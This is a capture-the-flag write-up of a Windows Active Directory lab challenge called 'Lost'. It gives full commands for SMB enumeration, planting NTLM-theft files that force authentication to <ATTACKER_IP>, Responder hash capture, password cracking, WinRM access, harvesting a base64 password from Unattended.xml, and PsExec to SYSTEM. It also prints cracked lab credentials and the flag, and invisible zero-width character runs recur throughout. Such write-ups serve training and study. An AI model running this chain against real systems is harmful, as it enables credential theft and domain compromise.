Потерянный (Lost)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: anonymous_smb_enumeration, base64_password_decoding, ntlm_theft_via_writable_share, ntlmv2_hash_capture, password_cracking_rockyou, psexec_privilege_escalation, rid_cycling_user_enumeration, unattended_xml_credential_harvesting, winrm_remote_access

Summary

Task: Windows AD domain controller with writable anonymous SMB share and bot browsing it. Solution: NTLM theft via .scf/.url files on writable share → NTLMv2 hash capture with Responder → crack password → WinRM access → Unattended.xml credential harvesting → PsExec as Enterprise Admin to SYSTEM.

Потерянный (Lost) — Hackerlab

Description

Один критически важный файл конфигурации был 'потерян' в результате изощренной кибератаки. Этот файл содержал важные данные, играющие ключевую роль в управлении доступом к ресурсам нашей организации. Может остался шанс получить доступ к этому файлу?

English summary: A critical configuration file was "lost" due to a sophisticated cyberattack. This file contained important data crucial for managing access to the organization's resources. The goal is to recover access to this file. The target is a Windows Server 2022 Active Directory Domain Controller. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: 192.169.2.10 Domain: codeby.cdb Hostname: LOST Flag format: CODEBY{...}

Analysis

Reconnaissance

Nmap scan revealed a Windows Server 2022 Active Directory Domain Controller with standard AD services:

 bash read-only • copy allowed Copy
nmap -sV -sC -p- 192.169.2.10

SMB Enumeration

Anonymous SMB listing revealed several shares. The key finding was Files-for-checkers with READ/WRITE access for anonymous users (configured as NullSessionShare in GPO). The share was empty but writable — a classic NTLM theft setup.

User Enumeration

RID cycling via impacket's lookupsid with the guest account revealed ~124 domain users:

 bash read-only • copy allowed Copy
impacket-lookupsid guest@192.169.2.10 -no-pass

Key users discovered:

• albert.morozov — member of Remote Management Users (WinRM access)
• alena.kudina — DNS Admin, Enterprise Admin, Remote Management Users
• exited3n — Domain Admin ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Domain Password Policy

LDAP enumeration (using a machine account FAKE01$:123456) revealed:

• LockoutBadCount = 0 — no account lockout (unlimited brute force possible)
• MinLength = 7, Complexity = 1 (complexity enabled)

Solution

Step 1: NTLM Theft via Writable SMB Share

Since Files-for-checkers is writable by anonymous users and a bot (albert.morozov) periodically browses it, this is a textbook NTLM theft scenario.

Generated NTLM theft payload files using ntlm_theft.py:

 bash read-only • copy allowed Copy
python3 ntlm_theft.py --generate all --server <ATTACKER_IP> --filename pwn

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This generates multiple file types (.scf, .url, desktop.ini, .lnk, etc.) that force Windows to authenticate to the attacker's SMB server when a user browses the folder.

Uploaded the payload files to the writable share:

 bash read-only • copy allowed Copy
smbclient //192.169.2.10/Files-for-checkers -N -c "put @pwn.scf; put @pwn.url; put desktop.ini"

Step 2: NTLMv2 Hash Capture

Started Responder to capture the NTLMv2 authentication:

 bash read-only • copy allowed Copy
sudo responder -I eth0

When albert.morozov's bot browsed the Files-for-checkers share, it attempted to connect to the attacker's SMB server (triggered by the .scf/.url files), leaking the NTLMv2 hash. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Captured hash:

albert.morozov::CODEBY:...:NTLMv2_HASH

Step 3: Crack NTLMv2 Hash

 bash read-only • copy allowed Copy
john --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hash.txt

Password found: MissDivaGirlno1

Step 4: WinRM Access as albert.morozov

albert.morozov is a member of Remote Management Users, granting WinRM access:

 bash read-only • copy allowed Copy
evil-winrm -i 192.169.2.10 -u albert.morozov -p 'MissDivaGirlno1'

Note: pywinrm with NTLM authentication returned "Access Denied" — evil-winrm (Ruby-based) worked correctly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Found first part of the flag on the Desktop:

C:\Users\albert.morozov\Desktop\user.txt → CODEBY{There_1s

Step 5: Privilege Escalation — Unattended.xml Credential Harvesting

Searched for common Windows credential storage locations and found Unattended.xml:

C:\Windows\Panther\Unattended.xml

Contents revealed credentials for alena.kudina:

 xml read-only • copy allowed Copy
<LocalAccount wcm:action="add">
    <Password>TWlzc0RpdmFHaXJsbm8xMjQk</Password>
    <Group>dns admins;users</Group>
    <Name>alena.kudina</Name>
</LocalAccount>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Base64 decode:

 bash read-only • copy allowed Copy
echo 'TWlzc0RpdmFHaXJsbm8xMjQk' | base64 -d
# MissDivaGirlno124$

Credentials: alena.kudina:MissDivaGirlno124$

Step 6: SYSTEM Access via PsExec

alena.kudina is an Enterprise Admin (equivalent to Domain Admin), so PsExec grants SYSTEM-level access:

 bash read-only • copy allowed Copy
impacket-psexec 'codeby/alena.kudina:MissDivaGirlno124$@192.169.2.10' -dc-ip 192.169.2.10

Found second part of the flag on Administrator's Desktop:

C:\Users\Administrator\Desktop\root.txt → _n0_tru3}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍